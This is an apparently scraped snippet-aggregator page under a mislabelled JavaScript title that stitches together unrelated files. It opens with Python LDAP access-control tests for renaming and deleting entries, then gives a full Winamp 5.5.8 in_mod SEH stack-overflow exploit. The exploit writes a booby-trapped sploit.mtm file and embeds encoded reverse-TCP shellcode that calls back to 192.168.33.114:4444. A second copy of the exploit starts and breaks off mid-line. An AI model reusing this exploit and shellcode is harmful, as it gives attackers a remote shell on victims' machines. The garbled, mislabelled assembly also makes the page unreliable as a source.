Best JavaScript code snippet using storybook-root
test_ldap_rename_entries.py
Source:test_ldap_rename_entries.py
1from uuid import uuid42from .features import LdapTestCase, ROOT_DC3class TestLdapRenameEntries(LdapTestCase):4 def test_rename_user_entry(self):5 def prepare_test(con, context, data):6 user_uid = "user-%s" % uuid4()7 user_dn = "uid=%s,ou=people,%s" % (user_uid, ROOT_DC)8 user2_uid = "uid=user-%s" % uuid4()9 user2_dn = "%s,ou=people,%s" % (user2_uid, ROOT_DC)10 self.create_user(user_uid, user_dn)11 data["dn"] = user_dn12 data["new_uid"] = user2_uid13 data["new_dn"] = user2_dn14 def rename_dn_entry(con, context, data):15 return con.modify_dn(data['dn'], data['new_uid']), con.result16 def assert_dn_exists(con, context, data):17 self.assertEntryExists(18 data['new_dn'], None19 )20 def assert_dn_does_not_exists(con, context, data):21 entries = self.get_ldap_dn(data['new_dn'], None)22 self.assertTrue(23 len(entries) == 024 )25 test_suite = {26 'anonymous': {27 'assert': self.assertFalse,28 'run_before_test': prepare_test,29 'run_after_test': assert_dn_does_not_exists30 },31 'user': {32 'assert': self.assertFalse,33 'run_before_test': prepare_test,34 'run_after_test': assert_dn_does_not_exists,35 },36 'user-people-admin': {37 'assert': self.assertTrue,38 'run_before_test': prepare_test,39 'run_after_test': assert_dn_exists,40 },41 'user-apps-admin': {42 'assert': self.assertFalse,43 'run_before_test': prepare_test,44 'run_after_test': assert_dn_does_not_exists,45 },46 'user-admin': {47 'assert': self.assertTrue,48 'run_before_test': prepare_test,49 'run_after_test': assert_dn_exists,50 },51 'admin': {52 'assert': self.assertTrue,53 'run_before_test': prepare_test,54 'run_after_test': assert_dn_exists,55 },56 'app': {57 'assert': self.assertFalse,58 'run_before_test': prepare_test,59 'run_after_test': assert_dn_does_not_exists,60 },61 'app-people-admin': {62 'assert': self.assertTrue,63 'run_before_test': prepare_test,64 'run_after_test': assert_dn_exists,65 },66 'app-apps-admin': {67 'assert': self.assertFalse,68 'run_before_test': prepare_test,69 'run_after_test': assert_dn_does_not_exists,70 },71 'app-admin': {72 'assert': self.assertTrue,73 'run_before_test': prepare_test,74 'run_after_test': assert_dn_exists,75 },76 }77 self.run_case(78 rename_dn_entry,79 test_suite,80 "Test creating rename user dn"81 )82 def test_rename_app_entry(self):83 def prepare_test(con, context, data):84 app_uid = "app-%s" % uuid4()85 app_dn = "uid=%s,ou=applications,%s" % (app_uid, ROOT_DC)86 app2_uid = "uid=app-%s" % uuid4()87 app2_dn = "%s,ou=applications,%s" % (88 app2_uid, ROOT_DC89 )90 self.create_app(app_uid, app_dn)91 data["dn"] = app_dn92 data["new_uid"] = app2_uid93 data["new_dn"] = app2_dn94 def rename_dn_entry(con, context, data):95 return con.modify_dn(data['dn'], data['new_uid']), con.result96 def assert_dn_exists(con, context, data):97 self.assertEntryExists(98 data['new_dn'], None99 )100 def assert_dn_does_not_exists(con, context, data):101 entries = self.get_ldap_dn(data['new_dn'], None)102 self.assertTrue(103 len(entries) == 0104 )105 test_suite = {106 'anonymous': {107 'assert': self.assertFalse,108 'run_before_test': prepare_test,109 'run_after_test': assert_dn_does_not_exists110 },111 'user': {112 'assert': self.assertFalse,113 'run_before_test': prepare_test,114 'run_after_test': assert_dn_does_not_exists,115 },116 'user-people-admin': {117 'assert': self.assertFalse,118 'run_before_test': prepare_test,119 'run_after_test': assert_dn_does_not_exists,120 },121 'user-apps-admin': {122 'assert': self.assertTrue,123 'run_before_test': prepare_test,124 'run_after_test': assert_dn_exists,125 },126 'user-admin': {127 'assert': self.assertTrue,128 'run_before_test': prepare_test,129 'run_after_test': assert_dn_exists,130 },131 'admin': {132 'assert': self.assertTrue,133 'run_before_test': prepare_test,134 'run_after_test': assert_dn_exists,135 },136 'app': {137 'assert': self.assertFalse,138 'run_before_test': prepare_test,139 'run_after_test': assert_dn_does_not_exists,140 },141 'app-people-admin': {142 'assert': self.assertFalse,143 'run_before_test': prepare_test,144 'run_after_test': assert_dn_does_not_exists,145 },146 'app-apps-admin': {147 'assert': self.assertTrue,148 'run_before_test': prepare_test,149 'run_after_test': assert_dn_exists,150 },151 'app-admin': {152 'assert': self.assertTrue,153 'run_before_test': prepare_test,154 'run_after_test': assert_dn_exists,155 },156 }157 self.run_case(158 rename_dn_entry,159 test_suite,160 "Test creating rename app dn"161 )162 def test_rename_group_entry(self):163 def prepare_test(con, context, data):164 group_cn = "group-%s" % uuid4()165 group_dn = "cn=%s,ou=groups,%s" % (group_cn, ROOT_DC)166 group2_cn = "cn=group-%s" % uuid4()167 group2_dn = "%s,ou=groups,%s" % (group2_cn, ROOT_DC)168 self.create_group(169 group_cn, group_dn, ["uid=tuser,ou=people,%s" % ROOT_DC]170 )171 data["dn"] = group_dn172 data["new_cn"] = group2_cn173 data["new_dn"] = group2_dn174 def rename_dn_entry(con, context, data):175 return con.modify_dn(data['dn'], data['new_cn']), con.result176 def assert_dn_exists(con, context, data):177 self.assertEntryExists(178 data['new_dn'], None179 )180 def assert_dn_does_not_exists(con, context, data):181 entries = self.get_ldap_dn(data['new_dn'], None)182 self.assertTrue(183 len(entries) == 0184 )185 test_suite = {186 'anonymous': {187 'assert': self.assertFalse,188 'run_before_test': prepare_test,189 'run_after_test': assert_dn_does_not_exists190 },191 'user': {192 'assert': self.assertFalse,193 'run_before_test': prepare_test,194 'run_after_test': assert_dn_does_not_exists,195 },196 'user-people-admin': {197 'assert': self.assertTrue,198 'run_before_test': prepare_test,199 'run_after_test': assert_dn_exists,200 },201 'user-apps-admin': {202 'assert': self.assertFalse,203 'run_before_test': prepare_test,204 'run_after_test': assert_dn_does_not_exists,205 },206 'user-admin': {207 'assert': self.assertTrue,208 'run_before_test': prepare_test,209 'run_after_test': assert_dn_exists,210 },211 'admin': {212 'assert': self.assertTrue,213 'run_before_test': prepare_test,214 'run_after_test': assert_dn_exists,215 },216 'app': {217 'assert': self.assertFalse,218 'run_before_test': prepare_test,219 'run_after_test': assert_dn_does_not_exists,220 },221 'app-people-admin': {222 'assert': self.assertTrue,223 'run_before_test': prepare_test,224 'run_after_test': assert_dn_exists,225 },226 'app-apps-admin': {227 'assert': self.assertFalse,228 'run_before_test': prepare_test,229 'run_after_test': assert_dn_does_not_exists,230 },231 'app-admin': {232 'assert': self.assertTrue,233 'run_before_test': prepare_test,234 'run_after_test': assert_dn_exists,235 },236 }237 self.run_case(238 rename_dn_entry,239 test_suite,240 "Test creating rename group dn"241 )242 def test_rename_policy_entry(self):243 def prepare_test(con, context, data):244 policy_cn = "policy-%s" % uuid4()245 policy_dn = "cn=%s,ou=policies,%s" % (policy_cn, ROOT_DC)246 policy2_cn = "cn=policy-%s" % uuid4()247 policy2_dn = "%s,ou=policies,%s" % (policy2_cn, ROOT_DC)248 self.create_policy(policy_cn, policy_dn)249 data["dn"] = policy_dn250 data["new_cn"] = policy2_cn251 data["new_dn"] = policy2_dn252 def rename_dn_entry(con, context, data):253 return con.modify_dn(data['dn'], data['new_cn']), con.result254 def assert_dn_exists(con, context, data):255 self.assertEntryExists(256 data['new_dn'], None257 )258 def assert_dn_does_not_exists(con, context, data):259 entries = self.get_ldap_dn(data['new_dn'], None)260 self.assertTrue(261 len(entries) == 0262 )263 test_suite = {264 'anonymous': {265 'assert': self.assertFalse,266 'run_before_test': prepare_test,267 'run_after_test': assert_dn_does_not_exists268 },269 'user': {270 'assert': self.assertFalse,271 'run_before_test': prepare_test,272 'run_after_test': assert_dn_does_not_exists,273 },274 'user-people-admin': {275 'assert': self.assertFalse,276 'run_before_test': prepare_test,277 'run_after_test': assert_dn_does_not_exists278 },279 'user-apps-admin': {280 'assert': self.assertFalse,281 'run_before_test': prepare_test,282 'run_after_test': assert_dn_does_not_exists,283 },284 'user-admin': {285 'assert': self.assertFalse,286 'run_before_test': prepare_test,287 'run_after_test': assert_dn_does_not_exists288 },289 'admin': {290 'assert': self.assertTrue,291 'run_before_test': prepare_test,292 'run_after_test': assert_dn_exists,293 },294 'app': {295 'assert': self.assertFalse,296 'run_before_test': prepare_test,297 'run_after_test': assert_dn_does_not_exists,298 },299 'app-people-admin': {300 'assert': self.assertFalse,301 'run_before_test': prepare_test,302 'run_after_test': assert_dn_does_not_exists303 },304 'app-apps-admin': {305 'assert': self.assertFalse,306 'run_before_test': prepare_test,307 'run_after_test': assert_dn_does_not_exists,308 },309 'app-admin': {310 'assert': self.assertFalse,311 'run_before_test': prepare_test,312 'run_after_test': assert_dn_does_not_exists313 },314 }315 self.run_case(316 rename_dn_entry,317 test_suite,318 "Test creating rename policy dn"...
test_ldap_delete_entries.py
Source:test_ldap_delete_entries.py
1from uuid import uuid42from .features import LdapTestCase, ROOT_DC3class TestLdapRemoveEntries(LdapTestCase):4 def test_remove_app_entry(self):5 def prepare_test(con, context, data):6 user_uid = "user-%s" % uuid4()7 user_dn = "uid=%s,ou=applications,%s" % (user_uid, ROOT_DC)8 self.create_app(user_uid, user_dn)9 data["dn"] = user_dn10 def delete_dn_entry(con, context, data):11 return con.delete(data['dn']), con.result12 def assert_dn_exists(con, context, data):13 self.assertEntryExists(14 data['dn'], None15 )16 def assert_dn_does_not_exists(con, context, data):17 entries = self.get_ldap_dn(data['dn'], None)18 self.assertTrue(19 len(entries) == 020 )21 test_suite = {22 'anonymous': {23 'assert': self.assertFalse,24 'run_before_test': prepare_test,25 'run_after_test': assert_dn_exists26 },27 'user': {28 'assert': self.assertFalse,29 'run_before_test': prepare_test,30 'run_after_test': assert_dn_exists,31 },32 'user-people-admin': {33 'assert': self.assertFalse,34 'run_before_test': prepare_test,35 'run_after_test': assert_dn_exists,36 },37 'user-apps-admin': {38 'assert': self.assertTrue,39 'run_before_test': prepare_test,40 'run_after_test': assert_dn_does_not_exists,41 },42 'user-admin': {43 'assert': self.assertTrue,44 'run_before_test': prepare_test,45 'run_after_test': assert_dn_does_not_exists,46 },47 'admin': {48 'assert': self.assertTrue,49 'run_before_test': prepare_test,50 'run_after_test': assert_dn_does_not_exists,51 },52 'app': {53 'assert': self.assertFalse,54 'run_before_test': prepare_test,55 'run_after_test': assert_dn_exists,56 },57 'app-people-admin': {58 'assert': self.assertFalse,59 'run_before_test': prepare_test,60 'run_after_test': assert_dn_exists,61 },62 'app-apps-admin': {63 'assert': self.assertTrue,64 'run_before_test': prepare_test,65 'run_after_test': assert_dn_does_not_exists,66 },67 'app-admin': {68 'assert': self.assertTrue,69 'run_before_test': prepare_test,70 'run_after_test': assert_dn_does_not_exists,71 },72 }73 self.run_case(74 delete_dn_entry,75 test_suite,76 "Test creating delete user dn"77 )78 def test_remove_group_entry(self):79 def prepare_test(con, context, data):80 group_cn = "group-%s" % uuid4()81 group_dn = "cn=%s,ou=groups,%s" % (group_cn, ROOT_DC)82 self.create_group(83 group_cn,84 group_dn,85 members=["uid=tuser2,ou=people," + ROOT_DC]86 )87 data["dn"] = group_dn88 def delete_dn_entry(con, context, data):89 return con.delete(data['dn']), con.result90 def assert_dn_exists(con, context, data):91 self.assertEntryExists(92 data['dn'], None93 )94 def assert_dn_does_not_exists(con, context, data):95 entries = self.get_ldap_dn(data['dn'], None)96 self.assertTrue(97 len(entries) == 098 )99 test_suite = {100 'anonymous': {101 'assert': self.assertFalse,102 'run_before_test': prepare_test,103 'run_after_test': assert_dn_exists104 },105 'user': {106 'assert': self.assertFalse,107 'run_before_test': prepare_test,108 'run_after_test': assert_dn_exists,109 },110 'user-people-admin': {111 'assert': self.assertTrue,112 'run_before_test': prepare_test,113 'run_after_test': assert_dn_does_not_exists,114 },115 'user-apps-admin': {116 'assert': self.assertFalse,117 'run_before_test': prepare_test,118 'run_after_test': assert_dn_exists,119 },120 'user-admin': {121 'assert': self.assertTrue,122 'run_before_test': prepare_test,123 'run_after_test': assert_dn_does_not_exists,124 },125 'admin': {126 'assert': self.assertTrue,127 'run_before_test': prepare_test,128 'run_after_test': assert_dn_does_not_exists,129 },130 'app': {131 'assert': self.assertFalse,132 'run_before_test': prepare_test,133 'run_after_test': assert_dn_exists,134 },135 'app-people-admin': {136 'assert': self.assertTrue,137 'run_before_test': prepare_test,138 'run_after_test': assert_dn_does_not_exists,139 },140 'app-apps-admin': {141 'assert': self.assertFalse,142 'run_before_test': prepare_test,143 'run_after_test': assert_dn_exists,144 },145 'app-admin': {146 'assert': self.assertTrue,147 'run_before_test': prepare_test,148 'run_after_test': assert_dn_does_not_exists,149 },150 }151 self.run_case(152 delete_dn_entry,153 test_suite,154 "Test creating delete user dn"155 )156 def test_remove_policy_entry(self):157 def prepare_test(con, context, data):158 policy_cn = "policy-%s" % uuid4()159 policy_dn = "cn=%s,ou=policies,%s" % (policy_cn, ROOT_DC)160 self.create_policy(policy_cn, policy_dn)161 data["dn"] = policy_dn162 def delete_dn_entry(con, context, data):163 return con.delete(data['dn']), con.result164 def assert_dn_exists(con, context, data):165 self.assertEntryExists(166 data['dn'], None167 )168 def assert_dn_does_not_exists(con, context, data):169 entries = self.get_ldap_dn(data['dn'], None)170 self.assertTrue(171 len(entries) == 0172 )173 test_suite = {174 'anonymous': {175 'assert': self.assertFalse,176 'run_before_test': prepare_test,177 'run_after_test': assert_dn_exists178 },179 'user': {180 'assert': self.assertFalse,181 'run_before_test': prepare_test,182 'run_after_test': assert_dn_exists,183 },184 'user-people-admin': {185 'assert': self.assertFalse,186 'run_before_test': prepare_test,187 'run_after_test': assert_dn_exists,188 },189 'user-apps-admin': {190 'assert': self.assertFalse,191 'run_before_test': prepare_test,192 'run_after_test': assert_dn_exists,193 },194 'user-admin': {195 'assert': self.assertFalse,196 'run_before_test': prepare_test,197 'run_after_test': assert_dn_exists,198 },199 'admin': {200 'assert': self.assertTrue,201 'run_before_test': prepare_test,202 'run_after_test': assert_dn_does_not_exists,203 },204 'app': {205 'assert': self.assertFalse,206 'run_before_test': prepare_test,207 'run_after_test': assert_dn_exists,208 },209 'app-people-admin': {210 'assert': self.assertFalse,211 'run_before_test': prepare_test,212 'run_after_test': assert_dn_exists,213 },214 'app-apps-admin': {215 'assert': self.assertFalse,216 'run_before_test': prepare_test,217 'run_after_test': assert_dn_exists,218 },219 'app-admin': {220 'assert': self.assertFalse,221 'run_before_test': prepare_test,222 'run_after_test': assert_dn_exists,223 },224 }225 self.run_case(226 delete_dn_entry,227 test_suite,228 "Test creating delete user dn"229 )230 def test_remove_user_entry(self):231 def prepare_test(con, context, data):232 user_uid = "user-%s" % uuid4()233 user_dn = "uid=%s,ou=people,%s" % (user_uid, ROOT_DC)234 self.create_user(user_uid, user_dn)235 data["dn"] = user_dn236 def delete_dn_entry(con, context, data):237 return con.delete(data['dn']), con.result238 def assert_dn_exists(con, context, data):239 self.assertEntryExists(240 data['dn'], None241 )242 def assert_dn_does_not_exists(con, context, data):243 entries = self.get_ldap_dn(data['dn'], None)244 self.assertTrue(245 len(entries) == 0246 )247 test_suite = {248 'anonymous': {249 'assert': self.assertFalse,250 'run_before_test': prepare_test,251 'run_after_test': assert_dn_exists252 },253 'user': {254 'assert': self.assertFalse,255 'run_before_test': prepare_test,256 'run_after_test': assert_dn_exists,257 },258 'user-people-admin': {259 'assert': self.assertTrue,260 'run_before_test': prepare_test,261 'run_after_test': assert_dn_does_not_exists,262 },263 'user-apps-admin': {264 'assert': self.assertFalse,265 'run_before_test': prepare_test,266 'run_after_test': assert_dn_exists,267 },268 'user-admin': {269 'assert': self.assertTrue,270 'run_before_test': prepare_test,271 'run_after_test': assert_dn_does_not_exists,272 },273 'admin': {274 'assert': self.assertTrue,275 'run_before_test': prepare_test,276 'run_after_test': assert_dn_does_not_exists,277 },278 'app': {279 'assert': self.assertFalse,280 'run_before_test': prepare_test,281 'run_after_test': assert_dn_exists,282 },283 'app-people-admin': {284 'assert': self.assertTrue,285 'run_before_test': prepare_test,286 'run_after_test': assert_dn_does_not_exists,287 },288 'app-apps-admin': {289 'assert': self.assertFalse,290 'run_before_test': prepare_test,291 'run_after_test': assert_dn_exists,292 },293 'app-admin': {294 'assert': self.assertTrue,295 'run_before_test': prepare_test,296 'run_after_test': assert_dn_does_not_exists,297 },298 }299 self.run_case(300 delete_dn_entry,301 test_suite,302 "Test creating delete user dn"...
15941.py
Source:15941.py
1#!/usr/bin/python2# finally got time to finish what I started...3# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow (SEH)4# WINDOWS XP SP3 EN Fully Patched5# Bug found by http://www.exploit-db.com/exploits/15248/6# POC and Exploit by fdisk (@fdiskyou)7# e-mail: fdiskyou at deniable.org8# This POC was already been released here (without proper shellcode): http://www.exploit-db.com/winamp-5-58-from-dos-to-code-execution/9# We later gave up on SEH and went straight for direct EIP overwrite, yesterday I couldn't sleep and decided to finish cooking this version.10# Further References:11# http://www.exploit-db.com/winamp-exploit-part-2/12# http://www.exploit-db.com/exploits/15287/13# Special thanks to Mighty-D, Ryujin and all the Exploit-DB Dev Team.1415header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"16header += "\x04\x0C" * 1617nopsled = "\x90" * 583311819# windows/shell_reverse_tcp LHOST=192.168.33.114 LPORT=4444 (script kiddie unfriendly)20# bad chars: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x0a\x0b\x0c\x0d\x0e\x0f21shellcode = ("\x89\xe1\xda\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"22"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x56\x58\x34"23"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"24"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"25"\x50\x38\x41\x43\x4a\x4a\x49\x4d\x38\x4d\x59\x43\x30"26"\x43\x30\x45\x50\x43\x50\x4d\x59\x4b\x55\x56\x51\x58\x52\x43"27"\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"28"\x51\x42\x54\x54\x43\x42\x51\x38\x54\x4f\x58\x37\x51"29"\x5a\x56\x46\x50\x31\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c"30"\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"31"\x4d\x58\x47\x5a\x42\x5a\x50\x51\x42\x50\x57\x4c\x4b"32"\x51\x42\x54\x50\x4c\x4b\x47\x32\x47\x4c\x45\x51\x4e\x30\x4c"33"\x4b\x47\x30\x43\x48\x4d\x55\x4f\x30\x43\x44\x50\x4a"34"\x4e\x30\x50\x50\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x47"35"\x50\x43\x31\x4e\x33\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x50\x34"36"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x49\x50\x4e"37"\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x47\x48\x4b\x50"38"\x52\x55\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"39"\x54\x54\x35\x4b\x52\x51\x48\x56\x38\x56\x44\x43\x31"40"\x49\x43\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x50\x58\x45"41"\x4c\x45\x51\x58\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x58\x50"42"\x4d\x59\x50\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x56"43"\x39\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"44"\x4c\x4b\x54\x52\x5a\x4b\x4d\x56\x51\x4d\x52\x48\x47\x43\x50"45"\x32\x43\x30\x52\x48\x52\x57\x52\x53\x50\x32\x51\x4f"46"\x51\x44\x52\x48\x50\x4c\x54\x37\x47\x56\x54\x47\x4b\x4f\x49"47"\x45\x4e\x58\x4c\x50\x45\x51\x43\x30\x43\x30\x56\x49"48"\x51\x44\x56\x30\x52\x48\x56\x49\x4d\x50\x52\x4b\x43\x30\x4b"49"\x4f\x58\x55\x50\x50\x50\x50\x50\x50\x50\x50\x51\x50\x56\x30"50"\x51\x50\x56\x30\x52\x48\x4b\x5a\x54\x4f\x4b\x50\x4b"51"\x4f\x49\x45\x4b\x39\x58\x47\x43\x58\x4f\x30\x4f\x58\x47\x51"52"\x54\x32\x45\x38\x45\x52\x43\x30\x54\x51\x51\x4c\x4c\x49\x5a"53"\x46\x52\x4a\x52\x30\x51\x46\x45\x38\x4d\x49\x4e\x45"54"\x43\x44\x45\x31\x4b\x4f\x58\x55\x45\x38\x43\x53\x52\x4d\x45"55"\x34\x45\x50\x4b\x39\x5a\x43\x56\x37\x56\x37\x50\x57\x56\x51"56"\x4c\x36\x52\x4a\x50\x59\x51\x46\x5a\x42\x4b\x4d\x45"57"\x36\x4f\x37\x51\x54\x47\x54\x47\x4c\x45\x51\x43\x31\x4c\x4d"58"\x51\x54\x56\x44\x52\x30\x49\x56\x43\x30\x51\x54\x51\x44\x56"59"\x30\x50\x56\x50\x56\x47\x36\x50\x56\x50\x4e\x50\x56"60"\x51\x46\x56\x33\x56\x36\x52\x48\x52\x59\x58\x4c\x47\x4f\x4c"61"\x46\x4b\x4f\x58\x55\x4d\x59\x4b\x50\x50\x4e\x50\x56"62"\x4b\x4f\x56\x50\x43\x58\x45\x58\x4b\x37\x45\x4d\x43\x50\x4b"63"\x4f\x58\x55\x4f\x4b\x4c\x30\x4f\x45\x4e\x42\x56\x36\x52\x48"64"\x4e\x46\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x47\x4c\x43"65"\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x43\x45\x43\x35"66"\x4f\x4b\x51\x57\x45\x43\x43\x42\x52\x4f\x43\x5a\x45\x50\x51"67"\x43\x4b\x4f\x58\x55\x45\x5a")6869prepare_shellcode = "\x90" * 4070prepare_shellcode += "\x90\x33\xDB" # xor ebx,ebx71prepare_shellcode += "\x54\x5B" # push esp - pop ebx72prepare_shellcode += "\x81\xEB\x17\xCB\xFF\xFF" # sub ebx,-34E973prepare_shellcode += "\x83\xc3\x3B" # add ebx,3B74prepare_shellcode += "\x83\xEB\x22" # sub ebx,2275prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da76prepare_shellcode += "\x43" # inc ebx77prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da78prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F79prepare_shellcode += "\x83\xEB\x16" # sub ebx,1680prepare_shellcode += "\x90" * 681prepare_shellcode += "\x80\x2B\xC2" # sub byte ptr ds:[ebx],0c282prepare_shellcode += "\x43" # inc ebx83prepare_shellcode += "\x80\x2B\xBE" # sub byte ptr ds:[ebx],0be84prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F85prepare_shellcode += "\x83\xEB\x16" # sub ebx,1686prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c187prepare_shellcode += "\x43" # inc ebx88prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF89prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F90prepare_shellcode += "\x83\xEB\x16" # sub ebx,1691prepare_shellcode += "\x80\x2B\xC8" # sub byte ptr ds:[ebx],0c892prepare_shellcode += "\x43" # inc ebx93prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B994prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F95prepare_shellcode += "\x90" * 496prepare_shellcode += "\x83\xEB\x16" # sub ebx,1697prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA98prepare_shellcode += "\x43" # inc ebx99prepare_shellcode += "\x80\x2B\xD9" # sub byte ptr ds:[ebx],0D9100prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F101prepare_shellcode += "\x83\xEB\x16" # sub ebx,16102prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7103prepare_shellcode += "\x43" # inc ebx104prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B9105prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F106prepare_shellcode += "\x83\xEB\x16" # sub ebx,16107prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c1108prepare_shellcode += "\x43" # inc ebx109prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF110prepare_shellcode += "\x90" * 4111prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F112prepare_shellcode += "\x83\xEB\x16" # sub ebx,16113prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC114prepare_shellcode += "\x43" # inc ebx115prepare_shellcode += "\x80\x2B\xD6" # sub byte ptr ds:[ebx],0D6116prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F117prepare_shellcode += "\x83\xEB\x16" # sub ebx,16118prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA119prepare_shellcode += "\x43" # inc ebx120prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da121prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F122prepare_shellcode += "\x83\xEB\x16" # sub ebx,16123prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4124prepare_shellcode += "\x43" # inc ebx125prepare_shellcode += "\x90" * 4126prepare_shellcode += "\x80\x2B\xB6" # sub byte ptr ds:[ebx],0B6127prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F128prepare_shellcode += "\x83\xEB\x16" # sub ebx,16129prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4130prepare_shellcode += "\x43" # inc ebx131prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB132prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F133prepare_shellcode += "\x83\xEB\x16" # sub ebx,16134prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7135prepare_shellcode += "\x43" # inc ebx136prepare_shellcode += "\x80\x2B\xD3" # sub byte ptr ds:[ebx],0D3137prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F138prepare_shellcode += "\x83\xEB\x16" # sub ebx,16139prepare_shellcode += "\x90" * 6140prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB141prepare_shellcode += "\x43" # inc ebx142prepare_shellcode += "\x80\x2B\xD8" # sub byte ptr ds:[ebx],0D8143prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F144prepare_shellcode += "\x83\xEB\x16" # sub ebx,16145prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7146prepare_shellcode += "\x43" # inc ebx147prepare_shellcode += "\x80\x2B\xD4" # sub byte ptr ds:[ebx],0d4148prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F149prepare_shellcode += "\x83\xEB\x16" # sub ebx,16150prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC151prepare_shellcode += "\x43" # inc ebx152prepare_shellcode += "\x80\x2B\xB4" # sub byte ptr ds:[ebx],0B4153prepare_shellcode += "\x90" * 6154prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F155prepare_shellcode += "\x83\xEB\x16" # sub ebx,16156prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF157prepare_shellcode += "\x43" # inc ebx158prepare_shellcode += "\x80\x2B\xD5" # sub byte ptr ds:[ebx],0D5159prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F160prepare_shellcode += "\x83\xEB\x16" # sub ebx,16161prepare_shellcode += "\x80\x2B\xCC" # sub byte ptr ds:[ebx],0CC162prepare_shellcode += "\x43" # inc ebx163prepare_shellcode += "\x80\x2B\xC9" # sub byte ptr ds:[ebx],0C9164prepare_shellcode += "\x90"*305165166nseh = "\xeb\x30\x90\x90"167seh = "\x3f\x28\xd1\x72" # 0x72D1283F - ppr - msacm32.drv - Windows XP SP3 EN168payload = header + nopsled + nseh + seh + prepare_shellcode + shellcode + "\x90" * 100169170file = open("sploit.mtm", "w")171file.write(payload)172file.close()173
...
winamp558-sehoverflow.txt
Source:winamp558-sehoverflow.txt
1#!/usr/bin/python2# finally got time to finish what I started...3# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow (SEH)4# WINDOWS XP SP3 EN Fully Patched5# Bug found by http://www.exploit-db.com/exploits/15248/6# POC and Exploit by fdisk7# This POC was already been released here (without proper shellcode): http://www.exploit-db.com/winamp-5-58-from-dos-to-code-execution/8# We later gave up on SEH and went straight for direct EIP overwrite, yesterday I couldn't sleep and decided to finish cooking this version.9# Further References:10# http://www.exploit-db.com/winamp-exploit-part-2/11# http://www.exploit-db.com/exploits/15287/12# Special thanks to Mighty-D, Ryujin and all the Exploit-DB Dev Team.13 14header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"15header += "\x04\x0C" * 1616buffersize = 65536 * 217nopsled = "\x90" * 5821118 19# windows/shell_reverse_tcp LHOST=192.168.33.114 LPORT=4444 (script kiddie unfriendly)20# bad chars: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x0a\x0b\x0c\x0d\x0e\x0f21shellcode = 